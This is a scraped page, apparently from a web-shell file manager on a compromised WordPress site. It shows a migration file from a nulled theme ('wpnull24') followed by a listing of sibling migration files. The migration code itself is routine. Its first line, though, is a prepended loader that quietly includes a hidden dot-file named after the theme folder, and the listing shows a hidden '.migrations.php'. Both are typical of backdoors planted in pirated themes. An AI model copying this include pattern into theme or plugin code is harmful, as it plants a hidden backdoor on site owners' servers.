PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
themes
/
wpnull24
/
functions
/
migrations
<?php if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } class us_migration_5_2 extends US_Migration_Translator { // Options public function translate_theme_options( &$options ) { /* * Translate Text element in headers */ ob_start(); $headers = get_posts( array( 'post_type' => 'us_header', 'numberposts' => - 1, ) ); ob_end_clean(); foreach ( $headers as $header ) { if ( ! empty( $header->post_content ) AND substr( strval( $header->post_content ), 0, 1 ) === '{' ) { try { $header_settings = json_decode( $header->post_content, TRUE ); $header_changed = FALSE; if ( isset( $header_settings['data'] ) and is_array( $header_settings['data'] ) ) { foreach ( $header_settings['data'] as $name => $data ) { // Find the text element if ( substr( $name, 0, 4 ) == 'text' ) { if ( ! empty( $data['text'] ) AND strpos( $data['text'], '<strong' ) !== FALSE ) { if ( empty( $header_settings['data'][$name]['text_style'] ) ) { $header_settings['data'][$name]['text_style'] = array(); } if ( ! in_array( 'bold', $header_settings['data'][$name]['text_style'] ) ) { $header_settings['data'][$name]['text_style'][] = 'bold'; } $header_changed = TRUE; } } } } if ( $header_changed ) { ob_start(); wp_update_post( array( 'ID' => $header->ID, 'post_content' => str_replace( "\\'", "'", json_encode( wp_slash( $header_settings ), JSON_UNESCAPED_UNICODE ) ), ) ); ob_end_clean(); } } catch ( Exception $e ) { } } } return FALSE; } }
[+]
..
[-] us_migration_3_1.php
[edit]
[-] us_migration_4_5.php
[edit]
[-] us_migration_4_2.php
[edit]
[-] us_migration_3_8.php
[edit]
[-] us_migration_5_5_3.php
[edit]
[-] us_migration_6_0_4.php
[edit]
[-] us_migration_5_5.php
[edit]
[-] us_migration_2_8.php
[edit]
[-] us_migration_5_2.php
[edit]
[-] us_migration_4_3.php
[edit]
[-] us_migration_3_9.php
[edit]
[-] us_migration_4_4.php
[edit]
[-] us_migration_3_0.php
[edit]
[-] us_migration_3_7.php
[edit]
[-] us_migration_5_3.php
[edit]
[-] us_migration_5_4.php
[edit]
[-] us_migration_2_0.php
[edit]
[-] us_migration_2_7.php
[edit]
[-] us_migration_5_7.php
[edit]
[-] us_migration_5_0.php
[edit]
[-] us_migration_2_3.php
[edit]
[-] us_migration_3_8_2.php
[edit]
[-] us_migration_4_1_2.php
[edit]
[-] us_migration_4_7.php
[edit]
[-] us_migration_4_0.php
[edit]
[-] us_migration_3_4.php
[edit]
[-] us_migration_3_3.php
[edit]
[-] us_migration_4_9.php
[edit]
[-] .migrations.php
[edit]
[-] us_migration_4_10.php
[edit]
[-] us_migration_5_8.php
[edit]
[-] us_migration_2_2.php
[edit]
[-] us_migration_4_4_1.php
[edit]
[-] us_migration_5_1.php
[edit]
[-] us_migration_5_6.php
[edit]
[-] us_migration_6_0.php
[edit]
[-] us_migration_3_2.php
[edit]
[-] us_migration_4_8.php
[edit]
[-] us_migration_4_6.php
[edit]
[-] us_migration_4_9_1.php
[edit]